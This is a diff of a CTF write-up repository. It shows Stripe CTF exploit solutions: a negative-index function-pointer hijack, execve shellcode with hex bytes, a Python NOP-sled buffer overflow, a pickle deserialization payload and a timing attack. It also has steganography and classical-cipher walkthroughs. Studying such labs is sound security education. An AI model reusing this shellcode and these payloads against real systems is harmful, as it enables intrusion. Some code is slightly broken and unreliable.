{&to_upper, &to_lower, &capitalize, &length}; + + if (argc != 3) { + printf("Usage: ./level03 INDEX STRING\n"); + printf("Possible indices:\n[0] to_upper\t[1] to_lower\n"); + printf("[2] capitalize\t[3] length\n"); + exit(-1); + } + + // Parse supplied index + index = atoi(argv[1]); + + if (index >= NUM_FNS) { + printf("Invalid index.\n"); + printf("Possible indices:\n[0] to_upper\t[1] to_lower\n"); + printf("[2] capitalize\t[3] length\n"); + exit(-1); + } + + return truncate_and_call(fns, index, argv[2]); +} +``` + +In problems like this, the attack surface is usually any place where there is input from the user. For this reason, our approach is to take a look at the arguments taken in the main function, checking for the common memory and overflow vulnerabilities in C. + +A vulnerability is found in the failure of checking for negative inputs: + +``` +#define NUM_FNS 4 +(...) + // Parse supplied index + index = atoi(argv[1]); + if (index >= NUM_FNS) { + (...) + exit(-1); +} +``` + +Moreover, the **index** variable is used in the function **truncate_and_call**, where the function **fns** can be overflowed: + +``` +typedef int (*fn_ptr)(const char *); +(...) +fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length}; +(...) +int truncate_and_call(fn_ptr *fns, int index, char *user_string) +{ + char buf[64]; + // Truncate supplied string + strncpy(buf, user_string, sizeof(buf) - 1); + buf[sizeof(buf) - 1] = '\0'; + return fns[index](buf); +} +``` + +The exploitation plan becomes easier when we notice that right before **truncate_and_call** we have this convenient function: + +``` +int run(const char *str) +{ + return system(str); +} +``` + + + +### Description of the Exploit + +To understand this problem we need to understand the [design of the stack frame](http://https://singularity-sh.vercel.app/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html). With this in mind, the exploit is crafted as follows: + +1) We input a malicious index that is negative (so it pass the bound checking) to have a shell running ```system("/bin/sh");``` (which will be able to read password of level3 because it will have its [UID](http://en.wikipedia.org/wiki/User_identifier_(Unix))). + + +2) We first need to find the memory location before **fns** (which should be writable). We fire up **gdb** and search for the pointer to **buf**, which is right before **fns** (this is different each time due to [ASLR](http://en.wikipedia.org/wiki/Address_space_layout_randomization)): + +``` +(gdb) p &buf + (char (*)[64]) 0xffbffa00 +``` + +3) We check **index** (where 4 is **sizeof(*fns)**), and subtract **buf** from to the pointer to **fns**: + +``` +(gdb) p (0xffbffa6c - 0xffbffa00)/4 + 27 +``` +So running an argument such as */level/level03 -27 foo* calls **fns[-27]** which is **&fns-27** times the size of the pointer. + + +4) We will assign **buf** to a shellcode that will spawn the privileged terminal using the function **run**, which is at: + +``` +(gdb) p &run + (int (*)(const char *)) 0x80484ac +``` + +5) Stripe's machines were [little-endian](http://en.wikipedia.org/wiki/Endianness) so the address of **run** is **\xac\x84\x04\x08**. We write the memory location of **&run** into **buf**, since **buf** is just a ```strcpy``` of the second argument. In the end, we want to call: + +``` +$ run('\xac\x84\x04\x08'); +``` + +6) Running it with the length of the directory (remember that the function pointer must start on a multiple of 4 characters) gives our password: + +``` +$ /levels/level03 -21 "cat /home/level03/.password $(printf '\xac\x84\x04\x08') +``` + + + + +--- +## Level 4: Classic Stack Overflow + +Level 4 is about a classical Stack Overflow problem. Once again we get a **setuid** binary, together with the following code: + +``` +void fun(char *str) +{ + char buf[1024]; + strcpy(buf, str); +} + +int main(int argc, char **argv) +{ + if (argc != 2) { + printf("Usage: ./level04 STRING"); + exit(-1); + } + fun(argv[1]); + printf("Oh no! That didn't work!\n"); + return 0; +} +``` + +In this challenge, the input string is received by the function **fun**, and then it is copied to the buffer. Since ```strcp``` does not perform bounds checking, if our string is larger than 1024 characters, it will keep copying until it reaches a NULL byte (0x00). This [overflows the stack](http://phrack.org/issues/49/14.html#article) and makes it possible to rewrite the **function return address**. + +The input for the **fun** function is going to be 1024 bytes (which starts at **&buf**) with several [NOPs](http://en.wikipedia.org/wiki/NOP) plus the shellcode. The overflowed bytes have pointers to the address of **buf** (**&buf**). We use NOPs because the system uses stack randomization. If **&buf** points to any of the NOPs, the shellcode will be executed. + + +### Yet Another Shellcode Introduction + +Shellcode can either be crafted directly in Assembly or reproduced in C and then disassembled in **gdb** and **objdump**. The second approach is more prone to errors. + +Let's write the simplest shellcode we can think of, which simply spawns a shell: + +``` +#include <stdlib.h> +int main() +{ + char *array[2]; + array[0] = "/bin/sh"; + array[1] = NULL; + execve(array[0], array, NULL); + exit(0); +} +``` + +With the following **Makefile** (I tend to write Makefiles for anything I compile in C): +``` +shell: simplest_shellcode.c + gcc -static -g -o shell simplest_shellcode.c +``` + +Running **make** will give us our executable **shell**. Now, let's fire up **gdb**: + +``` +$ gdb shell +(gdb) disas main +Dump of assembler code for function main: + 0x00000000004004d0 <+0>: push %rbp + 0x00000000004004d1 <+1>: mov %rsp,%rbp + 0x00000000004004d4 <+4>: sub $0x10,%rsp + 0x00000000004004d8 <+8>: movq $0x482be4,-0x10(%rbp) + 0x00000000004004e0 <+16>: movq $0x0,-0x8(%rbp) + 0x00000000004004e8 <+24>: mov -0x10(%rbp),%rax + 0x00000000004004ec <+28>: lea -0x10(%rbp),%rcx + 0x00000000004004f0 <+32>: mov $0x0,%edx + 0x00000000004004f5 <+37>: mov %rcx,%rsi + 0x00000000004004f8 <+40>: mov %rax,%rdi + 0x00000000004004fb <+43>: callq 0x40c540 <execve> + 0x0000000000400500 <+48>: mov $0x0,%edi + 0x0000000000400505 <+53>: callq 0x400e60 <exit> +End of assembler dump. +``` + +The first line is updating the frame stack pointer (**%rsp**), moving it to the top of the stack: +``` +0x00000000004004d0 <+0>: push %rbp +0x00000000004004d1 <+1>: mov %rsp,%rbp +``` + + +Then it subtracts 16 bytes from **%rsp**, with 8 bytes of padding: +``` +0x00000000004004d4 <+4>: sub $0x10,%rsp +``` + +We see this address **0x482be4** being moved to **%rsp**: +``` +0x00000000004004d8 <+8>: movq $0x482be4,-0x10(%rbp) +``` + +It should be a pointer to ```/bin/sh```, and we can be sure by asking gdb: +``` +(gdb) x/1s 0x482be4 +0x482be4: "/bin/sh" +``` + +After that, **NULL** is pushed in: +``` +0x00000000004004f0 <+32>: mov $0x0,%edx +``` + +Finally, **execve** is executed: +``` +0x00000000004004fb <+43>: callq 0x40c540 <execve> +``` + +### Writing the Shellcode in Assembly + +Now we are able to reproduce the code in Assembly. This is important: Stripe's machine was 32-bit, and the Assembly instructions are different from 64-bit (for instance, check the 64-bit shellcode I showed [here](http://https://singularity-sh.vercel.app/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html)). + +With an **l** added to the words, the above shellcode in 32-bit machines is: + +``` +.text +.globl _start + +_start: + xorl %eax, %eax /* make eax equal to 0*/ + pushl %eax /* pushes null*/ + pushl $0x68732f2f /* push //sh */ + pushl $0x6e69622f /* push /bin */ + movl %esp, %ebx /* store /bin/sh */ + pushl %eax /* use null*/ + pushl %ebx /* use /bin/sh*/ + movl %esp, %ecx /* wrutes array */ + xorl %edx, %edx /* xor to make edx equal to 0 */ + movb $0xb, %al /* execve system call #11 */ + int $0x80 /* make an interrupt */ +``` + +To assemble and link this in a 32-bit machine, we do: + +``` +$ as -o shell.o shell.s +$ ld -m -o shell shell.o +``` + +In a 64-but machine, we do: + +1. Add **.code32** in the top of the Assembly code. +2. Assemble with the **--32 flag**. +3. Link with the **-m elf_i386** flag. + +Resulting in: + +``` +$ as --32 -o shell.o shell.s +$ ld -m elf_i386 -o shell shell.o +``` + +Now, the last step is to get the executable **shell** in hexadecimal so we have the instructions for the shellcode. We use **objdump**: + +``` +$ objdump -d shell +shell: file format elf32-i386 +Disassembly of section .text: +08048054 <_start>: + 8048054: 31 c0 xor %eax,%eax + 8048056: 50 push %eax + 8048057: 68 2f 2f 73 68 push $0x68732f2f + 804805c: 68 2f 62 69 6e push $0x6e69622f + 8048061: 89 e3 mov %esp,%ebx + 8048063: 50 push %eax + 8048064: 53 push %ebx + 8048065: 89 e1 mov %esp,%ecx + 8048067: 31 d2 xor %edx,%edx + 8048069: b0 0b mov $0xb,%al + 804806b: cd 80 int $0x80 +``` + +Which in the little-endian representation is: +``` +\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 +``` + + +### Solving the Problem + +Now, all we need to do is write a snippet in any language which takes that shellcode and some NOPs to overflow the stack of the *level04*'s' binary. We write the exploit in Python: + +```py +import struct, subprocess + +STACK = 0x0804857b +NOP = \x90 +SHELLCODE = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" +EXPLOIT = NOP * (1024 - len(SHELLCODE)) + SHELLCODE + +stack_ptr = struct.pack("<I", STACK) * 500 +array = "%s%s" % (EXPLOIT, stack_ptr) + +while 1: + subprocess.call(["/levels/level04", array]) +``` +This solution is possible due to the [struct](https://docs.python.org/2/library/struct.html) module, which performs a conversion between Python and C values, and the [subprocess](https://docs.python.org/2/library/subprocess.html) module, which allows us to spawn new processes. The **struct.pack** method returns a string containing the values packet in the specified format (where **<** means little-endian and **I** is unsigned int). + +A [one-line solution in Ruby](https://github.com/stripe-ctf), was given by Stripe and it's worth to mention: + +``` +$ ruby -e 'print "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42" + "\x90"*987 + "\x7b\x85\x04\x08"' +``` + + + + + +--- +## Level 5: Unpickle exploit + +The fifth level is a uppercasing **web service** written in Python, which is split into an HTTP part, and a worker queue part. + +In this service, a request can be sent with: + +``` +$ curl localhost:9020 -d 'banana' +{ + "processing_time": 5.0037501611238511e-06, + "queue_time": 0.4377421910476061, + "result": "BANANA" +} +``` + +After inspecting the code, we concentrate in the suspicious **deserialize** function that contains the unsafe module [pickle](https://docs.python.org/2/library/pickle.html): + +```py +def deserialize(serialized): + logger.debug('Deserializing: %r' % serialized) + parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL) + match = parser.match(serialized) + direction = match.group(1) + data = match.group(2) + job = pickle.loads(match.group(3)) + return direction, data, job +``` + +This is used later in the **serialize** function: + +```py +@staticmethod +def serialize(direction, data, job): + serialized = """type: %s; data: %s; job: %s""" % (direction, data, pickle.dumps(job)) + logger.debug('Serialized to: %r' % serialized) + return serialized +``` + +So, the program serializes jobs with pickle and sends them to a series of workers to deserialize and process the job. Once again, the attack surface is in the user input, which is not properly sanitized: this function allows arbitrary data to be sent to **; job**. + +We can exploit it by making the serialization code execute arbitrary commands by supplying a string such as **; job: <pickled>**. This will run some Python code that will give us the password when unpickled. A great module for this task is [Python's os.system](https://docs.python.org/2/library/os.html#os.system), which executes commands in a subshell. + + + +An example of exploit in Python is the following: + +```py +import pickle, os +HOST = 'localhost:9020' + +os.system("/usr/bin/curl", ['', HOST, '-d', \ + "bla; job: cos\nsystem\n(S'cat /home/level05/.password \ + > /tmp/pass'\ntR."], {}) +``` + + + + + +--- +## Level 6: Timing Attack + + +And we have reached the sixth level! + +The goal in this level is to read the password from */home/the-flag/.password*. To complete this challenge, another **setuid** binary is given, which can be used to guess the password: + +``` +$ ./level06 /home/the-flag/.password banana + Welcome to the password checker! +$ Ha ha, your password is incorrect! +``` + +This turns out to be a case of [Timing Attack](http://en.wikipedia.org/wiki/Timing_attack), where we are able to detect the output in **stderr** and in **stdout** to find the characters that form the password (by checking the response to wrong characters). + +But there is a twist! + +The program works as the following: for every input character, a loop is executed. A dot is printed after each character comparison. If the guess is wrong, the system forks a child process and runs a little slower (each loop has complexity O(n^2) to the guess size, where the maximum size is **MAX_ARG_STRLEN ~ 0.1 MB**). + + +There are several [elegant solutions in the Internet](https://github.com/stripe-ctf/stripe-ctf/blob/master/code/level06/level06.c), but a very simple possible shell exploit is the shown: + +``` +#!\bin\bash +for c in {A..Z} {a..z} {0..9}; do +echo $c +head -c35 file & sleep 0.1 +/levels/level06 /home/the-flag/.password "$c"A 2> file +done +``` + +**And we get our flag! Fun! :) ** + + +--- + +## References + +* [Andy Brody's Post](https://stripe.com/blog/capture-the-flag-wrap-up) +* [Stripe CTF Repository](https://github.com/stripe-ctf) +* Pickle Modules is unsafe! [Here](https://blog.nelhage.com/2011/03/exploiting-pickle/) and [here](http://penturalabs.wordpress.com/2011/03/17/python-cpickle-allows-for-arbitrary-code-execution/). +* Some other writeups: [here](http://blog.delroth.net/2012/03/my-stripe-ctf-writeup/), [here](https://khr0x40sh.wordpress.com/2012/02/), [here](http://du.nham.ca/blog/posts/2012/03/20/stripe-ctf/), and [here](https://isisblogs.poly.edu/2012/03/23/stripe-ctf-level01/). + + +-------------- + diff --git a/CTFs_and_WarGames/CTFs_Writeups/Shariff_University/README.md b/CTFs_and_WarGames/CTFs_Writeups/Shariff_University/README.md new file mode 100644 index 0000000..c879fa8 --- /dev/null +++ b/CTFs_and_WarGames/CTFs_Writeups/Shariff_University/README.md @@ -0,0 +1,159 @@ +# The Sharif University CTF 2014 + + +## Avatar: Steganography + +The challenge starts with: +> A terrorist has changed his picture in a social network. What is the hidden message? + +And the following image: + + + + + + +For this problem, I use [OutGuess], which can be installed as: + +```sh +$ tar -zxvf outguess-0.2.tar.gz +$ cd outguess +$ ./configure && make +``` +Running it will give us the flag: +```sh +$ ./outguess -r lamb.jpg pass.txt +Reading ../lamb.jpg.... +Extracting usable bits: 28734 bits +Steg retrieve: seed: 94, len: 41 +$ cat pass.txt +We should blow up the bridge at midnight +``` + +__________________________ + +## What is this: Steganography + +This challenge has a very short text: + +> Find the flag. + +Together with two pictures: + + + + +After the usual inspection (tail, file, diff, compare), I applied my knowledge of a former astrophysicist to inspect what would happen if I added or subtracted the picture. I wrote the following script: + +```py +import sys + +from scipy.misc import imread, imsave + +def compare_images(img1, img2): + diff = img1 + img2 + imsave('sum.png', diff) + diff = img1 - img2 + imsave('diff.png', diff) + +def main(): + file1, file2 = sys.argv[1:1+2] + img1 = imread(file1).astype(float) + img2 = imread(file2).astype(float) + compare_images(img1, img2) + +``` + +Running it, give us the flag! + + + +-------------------- +## Guess the number: Reverse Engineering + +This problem starts with another not very informative text: +> Guess the number and find the flag. + +Then it gives us a *java class* file. It was clear that we needed to decompile it. I'm using +[jad]for this task: + +```sh +$ jad guess.class +``` + +Now, opening this file in a text editor, we can see how to generate the flag: +```java + + + +```java +// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov. +// Jad home page: http://www.geocities.com/kpdus/jad.html +// Decompiler options: packimports(3) +// Source File Name: guess.java + +(...) +String str_one = "4b64ca12ace755516c178f72d05d7061"; + String str_two = "ecd44646cfe5994ebeb35bf922e25dba"; + String answer = XOR(str_one, str_two); +System.out.println((new StringBuilder("your flag is: ")).append(answer).toString()); +``` +Running the modified version gives us: +```java +$ javac -g guess.java +$ java guess +your flag is: a7b08c546302cc1fd2a4d48bf2bf2ddb +``` + +_________________ +## Sudoku image encryption - cryptography + +This challenge starts with the following text: +> Row Major Order + +And it gives us two pictures: a map and a sudoku. + + + +We solve the sudoku and write the solution in a script to reorder the blocks: +```python +from PIL import Image + + +# solved sudoku +sudoku = ''' +964127538 +712385694 +385496712 +491578263 +238614975 +576239841 +627843159 +153962487 +849751326 +''' +s = sudoku.replace('\n', '') + +image = Image.open('image.png').convert('RGB') +out = Image.new('RGB', image.size) + +for j in range(9): + for i in range(9): + img_cell = image.crop((i * 50, j * 50, i * 50 + 50, j * 50 + 50)) + c = (int(s[j * 9 + i]) - 1) * 50 + out.paste(img_cell, (c, j * 50)) + +out.save('out_image.png') +``` + +This gives us our flag: + + + + +** Hack all the things! ** + + +[OutGuess]: http://www.outguess.org/download.php +[jad]: http://varaneckas.com/jad/ + diff --git a/CTFs_and_WarGames/LICENSE b/CTFs_and_WarGames/LICENSE deleted file mode 100644 index c920e98..0000000 --- a/CTFs_and_WarGames/LICENSE +++ /dev/null @@ -1,21 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2014 Mari Wahl - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -SOFTWARE. \ No newline at end of file diff --git a/CTFs_and_WarGames/README.md b/CTFs_and_WarGames/README.md index 339dc44..5431a98 100644 --- a/CTFs_and_WarGames/README.md +++ b/CTFs_and_WarGames/README.md @@ -1,30 +1,19 @@ -CTFs & Wargames Archives -======================== +# CTFs & Wargames -# CTFs - -## 2014 - ASIS Final - CSAW Quals - Hack.lu - Stripe 1, 2, 3 - 9447 - - ---- -# Wargames - -## 2014 - -- OverTheWire: Krypton, Narnia +- OverTheWire ---- -# Trivia List (For Reference) +# Trivia List -## CSAW CTF 2014 +## CSAW CTF 1. This is the name of the new USENIX workshop that featured papers on CTFs being used for education. Answer: **3GSE** @@ -44,7 +33,7 @@ Answer: **RET** # Recon -### Searching the Internets +### Searching the Interwebs The recon problems usually give you someone/something's name and a task or a hint to find some specific information about it. So the first thing is of course google it. @@ -107,4 +96,3 @@ Google anything using keywords such as ```filetype:cgi inurl:cgi-bin``` [namechk]: http://namechk.com ----- diff --git a/CTFs_and_WarGames/WARGAMES/README.md b/CTFs_and_WarGames/WARGAMES/README.md index 00495d3..57c57d0 100644 --- a/CTFs_and_WarGames/WARGAMES/README.md +++ b/CTFs_and_WarGames/WARGAMES/README.md @@ -1,3 +1,9 @@ -## Writeups: +# Wargames Writeups -[Narnia 1-5]: http://bt3gl.github.io/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html +### OverTheWire + +[Wargames]: http://overthewire.org/wargames/ + +* krypton +* narnia +* natas diff --git a/CTFs_and_WarGames/WARGAMES/krypton/README.md b/CTFs_and_WarGames/WARGAMES/krypton/README.md new file mode 100644 index 0000000..ae4e238 --- /dev/null +++ b/CTFs_and_WarGames/WARGAMES/krypton/README.md @@ -0,0 +1,318 @@ +# Cryptography War: Beating Krypton + +The problems are very straightforward and very similar to those from the last [CSAW CTF] ([see my post here]). + + +**Disclaimer**: if you haven't played WarGames, but you are planning to, PLEASE DON'T READ ANY FURTHER. If you don't try to solve the problems by yourself first, you will be wasting your time. + + + + +[Cryptol]: http://www.cryptol.net/ +[Continuing to talk about]: http://https://singularity-sh.vercel.app/smashing-the-stack-for-fun-or-wargames-narnia-0-4.html +[Wargames]: http://overthewire.org/wargames/ +[Krypton]: http://overthewire.org/wargames/krypton/ +[CSAW CTF]: https://ctf.isis.poly.edu/ +[see my post here]: http://https://singularity-sh.vercel.app/csaw-ctf-2014-cryptography-200.html + + +## Level 0: Base64 Transformation + + +This level starts with: + + > The following string encodes the password using Base64: + S1JZUFRPTklTR1JFQVQ= + > Use this password to log in to krypton.labs.overthewire.org with username krypton1 using SSH. You can the files for other levels in /krypton/. + + +[Base64] is just a way to represent binary data in ASCII, by translating it into a radix-64. Linux provides a built-in Base64 encoder/decoder tool, so all we need to do is: + +``` +$ base64 -d KRYPTON0.txt + +``` + + +[Base64]: http://en.wikipedia.org/wiki/Base64 + +---- + +## Level 1: Classic Caesar Cypher + +The second level starts with: + + > The password for level 2 is in the file ‘krypton2’. It is ‘encrypted’ using a simple rotation. It is also in non-standard ciphertext format. When using alpha characters for ciphertext it is normal to group the letters into five letter clusters, regardless of word boundaries. This helps obfuscate any patterns. This file has kept the plain text word boundaries and carried them to the ciphertext. Enjoy! + + +This is the classic [Caesar Cypher] (they really love this thing :). + + In Caesar’s cipher, the letters in the plaintext are shifted by a fixed number of elements down the alphabet. For example, if the shift is 3, A becomes D , B becomes E , and so on. Once we run out of letters, we circle back to A. + +We can solve this challenge in a few lines using Linux's built-in [tr] (translate tool): + +``` +krypton1@melinda:/krypton/krypton1$ VAR=$(cat krypton2) +krypton1@melinda:/krypton/krypton1$ echo $VAR +YRIRY GJB CNFFJBEQ EBGGRA +krypton1@melinda:/krypton/krypton1$ alias rot13="tr A-Za-z N-ZA-Mn-za-m" +krypton1@melinda:/krypton/krypton1$ echo "$VAR" | rot13 +``` + +[Caesar Cypher]: http://en.wikipedia.org/wiki/Caesar_cipher +[tr]: http://linux.die.net/man/1/tr + + +----- + +## Level 2 + +The third level starts with: + + > ROT13 is a simple substitution cipher. + + > Substitution ciphers are a simple replacement algorithm. In this example of a substitution cipher, we will explore a 'monoalphabetic' cipher. Monoalphebetic means, literally, "one alphabet" and you will see why. + + > This level contains an old form of cipher called a 'Caesar Cipher'. + > A Caesar cipher shifts the alphabet by a set number. For example: + + > plain: a b c d e f g h i j k ... + > cipher: G H I J K L M N O P Q ... + + > In this example, the letter 'a' in plaintext is replaced by a 'G' in the ciphertext so, for example, the plaintext 'bad' becomes 'HGJ' in ciphertext. + + > The password for level 3 is in the file krypton3. It is in 5 letter group ciphertext. It is encrypted with a Caesar Cipher. Without any further information, this ciphertext may be challenging to break. You do not have direct access to the key, however, you do have access to a program that will encrypt anything you wish to give it using the key. If you think logically, this is completely easy. + + +First, we make a file filled with the alphabet, so we can test the binary: + +```sh +$ ln -s /krypton/krypton2/keyfile.dat keyfile.dat +$ echo {A..Z} {a..z} > file +$ cat file +A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z +``` + +Running the binary: +``` +$ /krypton/krypton2/encrypt file +$ cat ciphertext +MNOPQRSTUVWXYZABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKL +``` + +We see a ROT14 (since ROT13 starts in N). + +As a second way to find the rotation, we could use [ltrace]: +``` +$ ltrace /krypton/krypton2/encrypt file | less +``` + +Which shows things such as: + +``` +fgetc(0x602250) = 'A' +toupper('A') = 'A' +isalpha(65, 65, 0x7ffff7dd0d00, -1, 0xffffffff) = 1024 +fputc('M', 0x602490) = 77 +``` + + +Now that we know the rotation number, we can decrypt the password in the same way as we did in the previous level: + +```sh +krypton2@melinda:/tmp$ alias rot14="tr A-Z O-ZA-N" +krypton2@melinda:/tmp$ echo "$VAR" | rot14 + +``` + + +[ltrace]: http://linux.die.net/man/1/ltrace + +--- + +## Level 3: Frequency Analysis + +This level starts with: + + > Well done. You've moved past an easy substitution cipher. + + > Hopefully you just encrypted the alphabet a plaintext to fully expose the key in one swoop. + + > The main weakness of a simple substitution cipher is repeated use of a simple key. In the previous exercise, you were able to introduce arbitrary plaintext to expose the key. In this example, the cipher mechanism is not available to you, the attacker. + + > However, you have been lucky. You have intercepted more than one message. The password to the next level is found in the file 'krypton4'. You have also found three other files. (found1, found2, found3) + + +This time we have to use [frequency analysis] to count the number of times each letter appears in our message. The results are compared to the frequency in each we see letters in English. This is enough to break this type of cipher. + +For this purpose, I wrote the following script: + + +```python +import string +import sys +import operator + +FREQ_ENGLISH = [0.0749, 0.0129, 0.0354, 0.0362, 0.1400, 0.0218, 0.0174, 0.0422, 0.0665, 0.0027, 0.0047, 0.0357,0.0339, 0.0674, 0.0737, 0.0243, 0.0026, 0.0614, 0.0695, 0.0985, 0.0300, 0.0116, 0.0169, 0.0028, 0.0164, 0.0004] + +def find_frequency(msg): + dict_freq = dict([(c, 0) for c in string.lowercase]) + total_letters = 0.0 + for c in msg.lower(): + if 'a'<= c <= 'z': + dict_freq[c] += 1 + total_letters += 1 + list_freq = sorted(dict_freq.items(), key=operator.itemgetter(1)) + return [(c, freq/total_letters) for (c, freq) in list_freq] + +def main(filename): + with open(filename, 'r') as f: + cipher = f.readlines() + cipher = cipher[0].strip() + flist = find_frequency(cipher) + elist = dict((k, value) for (k, value) in zip(string.lowercase, FREQ_ENGLISH)) + elist = sorted(elist.items(), key=operator.itemgetter(1)) + trans, key = '', '' + for i, f in enumerate(flist):ls + trans += f[0] + key += elist[i][0] + print "CIPHER: %s -> %.5f, ENGLISH: %s -> %.5f" %(f[0], f[1], elist[i][0], elist[i][1]) + print "Key is " + key + " for " + trans + + # print key sorted to translate to a-z + res = zip(trans, key) + res.sort() + trans, key = '', '' + for letter in res: + trans += letter[1].upper() + key += letter[0].upper() + print "tr [" + key + "] [" + trans + "]" + +if __name__ == "__main__": + main(str(sys.argv[1])) +``` + + +Running it gives us the key: + +``` +$ cat /krypton/krypton3/found1 > cipher +$ cat /krypton/krypton3/found2 >> cipher +$ cat /krypton/krypton3/found3 >> cipher +$ /krypton/krypton3$ python freq.py cipher +$ alias rotvi='tr ABCDEFGHIJKLMNOPQRSTUVWXYZ BOIHPKNQVTWGURXZAJEYSLDFPU' +$ cat /krypton/krypton3/krypton4 | rotvi +``` + +We could also use [this online tool] to find the frequencies. + +[this online tool]: http://www.richkni.co.uk/php/crypta/freq.php + +[frequency analysis]: http://en.wikipedia.org/wiki/Frequency_analysis + +---- + +## Level 4: Vigenere Cipher I + +The fifth level starts with: + + > So far we have worked with simple substitution ciphers. They have also been ‘monoalphabetic’, meaning using a fixed key, and giving a one to one mapping of plaintext (P) to ciphertext (C). Another type of substitution cipher is referred to as ‘polyalphabetic’, where one character of P may map to many, or all, possible ciphertext characters. + + > An example of a polyalphabetic cipher is called a Vigenère Cipher. It works like this: + + > If we use the key(K) ‘GOLD’, and P = PROCEED MEETING AS AGREED, then “add” P to K, we get C. When adding, if we exceed 25, then we roll to 0 (modulo 26). + + > P P R O C E E D M E E T I N G A S A G R E E D\ + > K G O L D G O L D G O L D G O L D G O L D G O\ + > becomes: + + > P 15 17 14 2 4 4 3 12 4 4 19 8 13 6 0 18 0 6 17 4 4 3\ + > K 6 14 11 3 6 14 11 3 6 14 11 3 6 14 11 3 6 14 11 3 6 14\ + > C 21 5 25 5 10 18 14 15 10 18 4 11 19 20 11 21 6 20 2 8 10 17\ + > So, we get a ciphertext of: + + > VFZFK SOPKS ELTUL VGUCH KR + > This level is a Vigenère Cipher. You have intercepted two longer, english language messages. You also have a key piece of information. You know the key length! + +This is a classic case of [Vigenere cipher], which is a variation on Caesar’s cipher. In this case, one uses multiple shift amounts according to a keyword. + +To solve this, we use the [pygenere] library in Python. First, we need to find the key: + +```pyhton +import sys +from pygenere import Vigenere, VigCrack + +def get_key(msg): + # Vigenere Cypher + key = VigCrack(msg).crack_codeword() + dec_msg = VigCrack(msg).crack_message() + dec_msg = dec_msg.replace(" ", "") + return key, dec_msg + +if __name__ == '__main__': + # getting the key + with open('cipher', 'r') as f: + msg = f.readlines() + msg_in = msg[0].strip() + key, answer = get_key(msg_in) + print 'Message: ' + msg_in + print + print 'Answer: ' + answer + print '(key: ' + key + ')' +``` + +The deciphered text is: + > THESOLDIERWITHTHEGREENWHISKERSLEDTHEMTHROUGHTHESTREETSOFTHEEMERALDCITYUNTILTHEYREACHED +THEROOMWHERETHEGUARDIANOFTHEGATESLIVEDTHISOFFICERUNLOCKEDTHEIRSPECTACLESTOPUTTHEMBACK +INHISGREATBOXANDTHENHEPOLITELYOPENEDTHEGATEFOROURFRIENDSWHICHROADLEADSTOTHEWICKEDWITCHOF +THEWESTASKEDDOROTHYTHEREISNOROADANSWEREDTHEGUARDIANOFTHEGATESNOONEEVERWISHESTOGOTHATWAY +HOWTHENAREWETOFINDHERINQUIREDTHEGIRLTHATWILLBEEASYREPLIEDTHEMANFORWHENSHEKNOWSYOUAREIN +THECOUNTRYOFTHEWINKIESSHEWILLFINDYOUANDMAKEYOUALLHERSLAVESPERHAPSNOTSAIDTHESCARECROWFOR +WEMEANTODESTROYHEROHTHATISDIFFERENTSAIDTHEGUARDIANOFTHEGATESNOONEHASEVERDESTROYEDHER +BEFORESOINATURALLYTHOUGHTSHEWOULDMAKESLAVESOFYOUASSHEHASOFTHERESTBUTTAKECAREFORSHEIS +WICKEDANDFIERCEANDMAYNOTALLOWYOUTODESTROYHERKEEPTOTHEWESTWHERETHESUNSETSANDYOUCANNOT +FAILTOFINDHERTHEYTHANKEDHIMANDBADEHIMGOODBYEANDTURNEDTOWARDTHEWESTWALKINGOVERFIELDS +OFSOFTGRASSDOTTEDHEREANDTHEREWITHDAISIESANDBUTTERCUPSDOROTHYSTILLWORETHEPRETTYSILKDRESS +SHEHADPUTONINTHEPALACEBUTNOWTOHERSURPRISESHEFOUNDITWASNOLONGERGREENBUTPUREWHITETHERIB +BONAROUNDTOTOSNECKHADALSOLOSTITSGREENCOLORANDWASASWHITEASDOROTHYSDRESSTHEEMERALDCITYW +ASSOONLEFTFARBEHINDASTHEYADVANCEDTHEGROUNDBECAMEROUGHERANDHILLIERFORTHEREWERENOFARMSN +ORHOUSESINTHISCOUNTRYOFTHEWESTANDTHEGROUNDWASUNTILLEDINTHEAFTERNOONTHESUNSHONEHOTINTHEI +RFACESFORTHEREWERENOTREESTOOFFERTHEMSHADESOTHATBEFORENIGHTDOROTHYANDTOTOANDTHELIONWER +ETIREDANDLAYDOWNUPONTHEGRASSANDFELLASLEEPWITHTHEWOODMANANDTHESCARECROWKEEPINGWATCH + + +Finally, we use the key to decipher the password: + +```python +def solve(msg, key): + dec_msg = Vigenere(msg).decipher(key) + dec_msg = dec_msg.replace(" ", "") + return 